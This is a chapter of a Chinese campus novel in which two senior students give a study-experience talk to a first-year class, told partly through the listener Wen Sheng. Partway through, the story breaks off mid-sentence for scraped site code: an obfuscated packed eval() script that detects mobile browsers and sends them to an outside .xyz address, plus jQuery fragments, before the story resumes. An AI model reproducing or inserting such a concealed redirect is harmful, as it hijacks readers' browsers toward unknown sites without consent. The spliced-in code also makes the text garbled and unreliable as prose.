时间很快就来到了高一（1）班的第一次班会课。
班里的黑板擦得干干净净，上面用粉笔写的一行大字：
“学习经验分享会”
讲台前多了一排凳子，是临时搬来的，摆得整齐，最前一排空着，留给即将到来的嘉宾。
李瑛君推了推眼镜，温柔地说：“高中三年，说快也快，等你们反应过来，可能已经站在高考考场门口了。所以，今天班会课我请来了一位学长，希望他的经验能帮大家更快进入状态。”
“大家用掌声欢迎他！”
班里顿时响起一阵热烈掌声，有人觉得这名字耳熟，小声惊呼：“就是墙上红榜那个第一名啊！”
掌声未落，门口早已等候多时的少年走了进来。
他穿着白衬衫，袖口挽起两圈，手里夹着个蓝色文件夹，整个人清清冷冷的。
李瑛君笑着介绍：“这是高二1班的许家宁，去年期末的年级第一。家宁，到讲台中央讲就好。”
许家宁点点头，走上讲台，目光淡淡扫过台下的面孔，在某个方向停顿一瞬，然后若无其事地移开，“大家好，我是许家宁。”
他站在讲台上，左手垂在身侧，右手拿着一个文件夹，姿态端正，神情自若，看起来像是早有准备。
台下的李瑛君微笑点头，学生们也安静下来，目光不约而同地落在他身上。
“学习最重要的是规划与坚持。很多人觉得学得好靠天赋，”许家宁顿了顿，几不可察地笑了下，“其实我觉得习惯比天赋更重要。”
“比如每天晚上睡前，花十分钟回顾当天的知识点，不求面面俱到，但要把今天学过的至少过一遍，形成记忆的闭环。”
“有时间的话，可以试着做一本错题集，我自己就是这么做的。”
“但是，睡眠是最重要的，每天早早睡觉，精神好，脑子才转得快。”
许家宁低头看了眼手中的“稿子”。
其实这是一张空白的A4纸，上面干干净净的，一个字都没有。为了不露馅，他特意提前从薛平升那借了个文件夹夹着，看上去倒真像有备而来。
温笙低着头，认真抄下他说的每一条，觉得句句在理，甚至暗暗下定决心：回宿舍也要试试。
可讲台上的许家宁看着台下一片奋笔疾书，心里有些无奈，默默叹气。
对他来说，最重要的其实只有最后一句：“睡觉最重要。”
别人挑灯夜读，他倒头就睡；别人熬夜背书，他准时钻进被窝，睡得比谁都香。
他从没点过蜡烛看书，更不搞什么临时抱佛脚。
说白了，他就是爱睡觉。
只不过，这话绝不能说出口，要是告诉学弟学妹们“多睡觉就能考第一”，恐怕整个年级的老师都要追着他问责。
许家宁视线扫过人群，最后停在温笙那一排，脑海里冒出李长水那句随口调侃：
“别老冷着脸，笑一笑。”
于是，他微微弯了弯嘴角。
只是这笑容太过生疏，像是从习惯冷淡的表情里硬生生挤出来的，让许家宁自己都觉得有点别扭。
温笙本来正低头写笔记，敏锐地察觉到一道视线落在自己身上，下意识抬头，正好对上许家宁那抹不太自然的“礼貌性微笑”，然后火速低下头。
这一幕，被许家宁清清楚楚地收进眼底。
他话锋一转：“其实真正适合讲经验分享的，应该是我同桌李长水。他从年级倒数，一步步走到了年级前十，进步幅度比我大多了。”
许家宁朝门口望了一眼，淡淡道：“所以我把他也带来了。”
话音刚落，门外的人就已经迫不及待地推门而入。
李长水笑眯眯地挥手打招呼：“李老师好，同学们好，我是许家宁的同桌，李长水！”
他一上来就自来熟地站到许家宁旁边，还挤了挤位置：“让我也蹭一蹭年级第一的光。”
李清妙在台下把脸埋进臂弯里，小声地对温笙说：“台上那是我哥吗？好丢人。”
“我同桌平时沉默寡言，但一个眼神就能把我骂个透。”李长水笑道，“有次我物理只考了个位数，他啥都没说，直接去小卖部买了袋核桃，说让我补脑。”
大家笑得更大声了，连李瑛君都忍不住弯了弯嘴角。
李长水趁热打铁，话锋一转，收了收表情：“但说真的啊，我不是一看书就会的那种人。我也羡慕我同桌，但我不是。我的分数，是靠刷题、靠老师讲评、靠我同桌盯我背书，一点点提上来的。”
他看着台下认真听讲的高一学生，少了几分嬉皮笑脸，多了几分真诚：“刚上高一那阵，我是真的跟不上。那时候我每天都觉得，是不是我就这样了，是不是我不适合读书。”
“我们仓中的考试多到离谱，但也正因为多，我才知道自己的易错点。”
他挠了挠头，笑着说：“我也不是在讲励志故事哈，就是把自己的实话告诉你们，怕你们走我走过的弯路。”
李长水拍拍许家宁的肩：“别看我同桌嘴毒，他从没拒绝我提问。”
许家宁这才开口，不疾不徐地说：“不是所有问题都值得被回答。但你愿意学，我就不会吝啬。”
“最后补一句。”他对着台下的学弟学妹们说，“别照搬我和李长水的方法。找到适合自己的节奏，比听一百场经验分享都重要。”
李瑛君拍了拍手：“好，感谢两位学长的分享。”
掌声响起时，温笙还没有完全回神，她忽然意识到，自己总是急着跟上别人的节奏，好像落下一步就会被甩在后面，越努力想追，反而越容易产生焦虑。
可许家宁刚才那句“找到适合自己的方式，比听一百场经验分享都重要”，像是突然拽住了她，让她从那种盲目的奔跑中稍稍停了下来。
就在她低下头的瞬间，一行几乎被划痕磨淡的字映入眼帘：
Soitgoes.
不知是谁刻下的，也许是某个考砸了的前辈，又或者只是无聊时顺手一划。
可她盯着这句话盯了很久，有点沉重，又有点清醒。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16198079|181209||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>过去的确无法更改，但未来还可以慢慢写。
她刚想着这句话，一抬头，就对上了讲台上的视线。
许家宁站在讲台边侧，刚好准备下台，不知是有意还是无意，他又朝她看了一眼，那眼神没有什么特别的情绪，但温笙看不懂。
掌声再度响起，不少同学低声交流着刚才的笔记，李瑛君趁机宣布：“今天的分享会到这里结束，大家可以自由提问。”
同学们立刻围到讲台前，许家宁并没有被突如其来的热情弄得慌乱，被人群簇拥时，他脸上维持着一个略显拘谨却得体的笑容，耐心地一一回答。
“学长，你刚刚分享的错题本是怎么归类的？我可以参考借鉴一下吗？”
“我分章节记，也按出错类型整理。”
“学长，有推荐的练习册吗？”
有人递来笔记本，许家宁接过后俯下身，认真写下几本书名，字迹清隽有力，边写边简短解释：“这几本可以从图书馆借到，尤其是这本，练习题比较系统，适合需要打基础的人。”
“如果你需要冲刺，我建议去外面的书店买这本，题目出的会稍微难一点。”
见有同学皱眉，许家宁补充了一句：“放心，不需要特意跑去市里买，校门口的小书摊就有，价钱也便宜些。”
而另一边，
“李长水学长，我想问你每天学习多久啊？”
“诶哟，这问题问得，我也想知道别人都学多久呢！”
“你高一的时候数学怎么补上来的？”
“有个耐心的同桌。”
李长水说话带着玩笑，表情夸张，一边讲一边比划，逗得围着的同学们笑个不停。
李清妙趴在桌子上看着讲台的两人，小声嘀咕：“我哥就这点出息。”
“行了行了，咱也不是名人，别再围着了。”李长水摆着手笑着说，“我们待会儿还得去吃饭呢。”
“哎，学长再多讲两句嘛！”
“有缘下次再讲！”李长水耸耸肩，一副潇洒模样。
许家宁也将最后一个问题答完，客气地向围在前头的几个同学点了点头，接着收回了手，抬头看了李瑛君一眼：“李老师，我们先走了。”
“好，辛苦你们啦。”李瑛君笑着挥手，笑容里全是满意和感谢。
这时，正好赶上傍晚的饭点。
“等等吃完饭，陪我去校门口的书摊看看呗？许学长推荐的练习册应该还有。”
“带上我带上我。”
“我也去我也去，顺便买瓶橘子汽水！”
“他推荐的是冲刺用的练习册，我这种基础不行的能用吗？”
“先买着啊，说不定哪天用得上。万一哪天你也成年级第一呢？”
几人叽叽喳喳往门口走去，一边走一边翻着书包找零钱，凑出几张皱巴巴的票子，小心翼翼叠好，装进口袋里。
李清妙一边收拾书本一边喊：“走啊温笙，去——”
她话没说完，愣了下，四处看了看。
“诶？人呢？”